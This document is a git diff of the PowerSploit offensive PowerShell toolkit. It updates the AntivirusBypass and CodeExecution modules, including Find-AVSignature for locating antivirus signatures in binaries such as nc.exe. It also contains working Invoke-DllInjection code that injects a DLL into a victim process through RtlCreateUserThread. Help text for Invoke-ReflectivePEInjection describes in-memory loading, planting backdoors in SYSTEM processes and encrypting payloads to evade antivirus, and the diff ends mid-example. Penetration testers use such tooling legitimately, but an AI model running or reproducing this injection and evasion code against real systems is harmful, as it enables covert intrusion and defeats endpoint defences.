diff --git a/.gitignore b/.gitignore index b9d6bd92..e15a72de 100644 --- a/.gitignore +++ b/.gitignore @@ -45,7 +45,6 @@ local.properties [Dd]ebug/ [Rr]elease/ -x64/ build/ [Bb]in/ [Oo]bj/ diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index ab2918b7..037f570f 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,10 +1,10 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' @@ -12,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,64 +21,10 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}) - # List of all files packaged with this module FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} \ No newline at end of file +} diff --git a/AntivirusBypass/AntivirusBypass.psm1 b/AntivirusBypass/AntivirusBypass.psm1 index e5234fbe..81d38186 100644 --- a/AntivirusBypass/AntivirusBypass.psm1 +++ b/AntivirusBypass/AntivirusBypass.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index 80e2b1fb..05cd9690 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -5,11 +5,11 @@ function Find-AVSignature Locate tiny AV signatures. -PowerSploit Function: Find-AVSignature -Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to. .PARAMETER BufferLen -Specifies the length of the file read buffer . Defaults to 64KB. +Specifies the length of the file read buffer . Defaults to 64KB. .PARAMETER Force -Forces the script to continue without confirmation. +Forces the script to continue without confirmation. .EXAMPLE -PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe -PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose -PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose -PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose -PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose .NOTES @@ -63,10 +63,12 @@ http://www.exploit-monday.com/ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #> - [CmdletBinding()] Param( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $StartByte, [Parameter(Mandatory = $True)] @@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $Interval, [String] - [ValidateScript({Test-Path $_ })] + [ValidateScript({Test-Path $_ })] $Path = ($pwd.path), [String] $OutPath = ($pwd), - - - [ValidateRange(1,2097152)] - [UInt32] - $BufferLen = 65536, - + + [ValidateRange(1,2097152)] + [UInt32] + $BufferLen = 65536, + [Switch] $Force - ) #test variables @@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 $Response = $True if (!(Test-Path $OutPath)) { if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory} - } + } if (!$Response) {Throw "Output path not found"} if (!(Get-ChildItem $Path).Exists) {Throw "File not found"} [Int32] $FileSize = (Get-ChildItem $Path).Length if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"} [Int32] $MaximumByte = (($FileSize) - 1) if ($EndByte -ceq "max") {$EndByte = $MaximumByte} - - #Recast $Endbyte into an Integer so that it can be compared properly. - [Int32]$EndByte = $EndByte - - #If $Endbyte is greater than the file Length, use $MaximumByte. + + #Recast $Endbyte into an Integer so that it can be compared properly. + [Int32]$EndByte = $EndByte + + #If $Endbyte is greater than the file Length, use $MaximumByte. if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte} - - #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. - if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} - Write-Verbose "StartByte: $StartByte" - Write-Verbose "EndByte: $EndByte" - + #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. + if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} + + Write-Verbose "StartByte: $StartByte" + Write-Verbose "EndByte: $EndByte" + #find the filename for the output name [String] $FileName = (Split-Path $Path -leaf).Split('.')[0] #Calculate the number of binaries [Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval) if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)} - + #Prompt user to verify parameters to avoid writing binaries to the wrong directory $Response = $True if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!", "Do you want to continue?"))){} if (!$Response) {Return} - - Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." + + Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." [Int32] $Number = [Math]::Floor($Endbyte/$Interval) - - #Create a Read Buffer and Stream. - #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. - [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen - [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) - - #write out the calculated number of binaries - [Int32] $i = 0 - for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) - { - # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval - if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} - else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} - - Write-Verbose "Byte 0 -> $($SplitByte)" - - #Reset ReadStream to beginning of file - $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null - - #Build a new FileStream for Writing - [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" - [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) - - [Int32] $BytesLeft = $SplitByte - Write-Verbose "$($WriteStream.name)" - - #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer - while ($BytesLeft -gt $BufferLen){ - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - - #Write the remaining bytes to the file - do { - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - until ($BytesLeft -eq 0) - $WriteStream.Close() - $WriteStream.Dispose() + + #Create a Read Buffer and Stream. + #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. + [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen + [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) + + #write out the calculated number of binaries + [Int32] $i = 0 + for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) + { + # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval + if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} + else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} + + Write-Verbose "Byte 0 -> $($SplitByte)" + + #Reset ReadStream to beginning of file + $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null + + #Build a new FileStream for Writing + [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" + [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) + + [Int32] $BytesLeft = $SplitByte + Write-Verbose "$($WriteStream.name)" + + #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer + while ($BytesLeft -gt $BufferLen){ + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count + } + + #Write the remaining bytes to the file + do { + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count } - Write-Verbose "Files written to disk. Flushing memory." - $ReadStream.Dispose() - - #During testing using large binaries, memory usage was excessive so lets fix that - [System.GC]::Collect() - Write-Verbose "Completed!" -} \ No newline at end of file + until ($BytesLeft -eq 0) + $WriteStream.Close() + $WriteStream.Dispose() + } + Write-Verbose "Files written to disk. Flushing memory." + $ReadStream.Dispose() + + #During testing using large binaries, memory usage was excessive so lets fix that + [System.GC]::Collect() + Write-Verbose "Completed!" +} diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 394c7de0..93c2cd36 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -1,10 +1,10 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'CodeExecution.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c' @@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) - # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Watch-BlueScreen.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} \ No newline at end of file + 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' +} diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index e5234fbe..81d38186 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 572a9112..d23e9894 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -5,15 +5,19 @@ function Invoke-DllInjection Injects a Dll into the process ID of your choosing. -PowerSploit Function: Invoke-DllInjection -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. .PARAMETER ProcessID @@ -25,7 +29,7 @@ Name of the dll to inject. This can be an absolute or relative path. .EXAMPLE -C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll +Invoke-DllInjection -ProcessID 4274 -Dll evil.dll Description ----------- @@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information. http://www.exploit-monday.com #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] Param ( [Parameter( Position = 0, Mandatory = $True )] [Int] @@ -59,7 +65,7 @@ http://www.exploit-monday.com { Throw "Process does not exist!" } - + # Confirm that the path to the dll exists try { @@ -79,11 +85,11 @@ http://www.exploit-monday.com Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -98,7 +104,7 @@ http://www.exploit-monday.com $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -107,11 +113,11 @@ http://www.exploit-monday.com Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -128,7 +134,7 @@ http://www.exploit-monday.com $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -142,43 +148,43 @@ http://www.exploit-monday.com [String] $Path ) - + # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - + [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null - + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } - + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - + [Byte[]] $lfanew = New-Object Byte[](4) - + # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - + # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() - + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } - + if ($Architecture -eq '014C') { Write-Output 'X86' @@ -193,7 +199,7 @@ http://www.exploit-monday.com } } - + # Get addresses of and declare delegates for essential Win32 functions. $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) @@ -207,16 +213,13 @@ http://www.exploit-monday.com $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread + $RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - # Assume CPU to be 64-bit unless determined otherwise. - $64bitCPU = $True - # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type. if ([IntPtr]::Size -eq 4) { @@ -227,6 +230,12 @@ http://www.exploit-monday.com $PowerShell32bit = $False } + if (${Env:ProgramFiles(x86)}) { + $64bitOS = $True + } else { + $64bitOS = $False + } + # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process @@ -235,23 +244,20 @@ http://www.exploit-monday.com $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) } - else - { - # IsWow64Process does not exist and thus, the CPU is not 64-bit. - $64bitCPU = $False - } + + $Architecture = Get-PEArchitecture $Dll + + Write-Verbose "Architecture of the dll to be injected: $Architecture" # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) if (!$hProcess) { - THrow 'Unable to open process handle.' + Throw 'Unable to open process handle.' } - $Architecture = Get-PEArchitecture $Dll - - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + if ($64bitOS) # Only perform theses checks if OS is 64-bit { if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') ) { @@ -293,7 +299,7 @@ http://www.exploit-monday.com $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW) if ($RemoteMemAddr -eq [IntPtr]::Zero) { - Throw 'Unable to allocate memory in remote process.' + Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.' } Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" @@ -302,27 +308,29 @@ http://www.exploit-monday.com Write-Verbose "Dll path written sucessfully." # Execute dll as a remote thread - $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - if (!$ThreadHandle) + $Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result) { - Throw 'Unable to launch remote thread.' + Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))" } - + $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) # Close process handle $CloseHandle.Invoke($hProcess) | Out-Null - Write-Verbose 'Dll injection complete!' + Start-Sleep -Seconds 2 # Extract just the filename from the provided path to the dll. - $FileName = Split-Path $Dll -Leaf - $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String + $FileName = (Split-Path $Dll -Leaf).ToLower() + $DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) } if (!$DllInfo) { Throw "Dll did dot inject properly into the victim process." } - Write-Verbose "Injected DLL information:$($DllInfo)" -} \ No newline at end of file + Write-Verbose 'Dll injection complete!' + + $DllInfo +} diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 6e18bff8..c756dd99 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -1,51 +1,39 @@ -function Invoke-ReflectivePEInjection +function Invoke-ReflectivePEInjection { <# .SYNOPSIS -This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, -or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. - 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk. - 2.) Reflectively load a DLL in to memory of a remote process. As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output -from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the -remote process. - +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. -While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array -containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will -bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba -blog linked below (thanks to whitey). - -PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None -Version: 1.0 +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. -.PARAMETER PEPath - -The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. - -.PARAMETER PEUrl +.PARAMETER PEBytes -A URL containing a DLL/EXE to load and execute. +A byte array containing a DLL/EXE to load and execute. .PARAMETER ComputerName @@ -54,13 +42,13 @@ Optional, an array of computernames to run the script on. .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void - Options: String, WString, Void. See notes for more information. - IMPORTANT: For DLLs being loaded remotely, only Void is supported. - + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + .PARAMETER ExeArgs Optional, arguments to pass to the executable being reflectively loaded. - + .PARAMETER ProcName Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. @@ -68,53 +56,65 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti .PARAMETER ProcId Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. - -.EXAMPLE -Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). -Note that the file name on the website can be any file extension. -Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString +.PARAMETER ForceASLR + +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when + loading in to a remote process. + +.PARAMETER DoNotZeroMZ + +Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. .EXAMPLE Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local .EXAMPLE Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print - 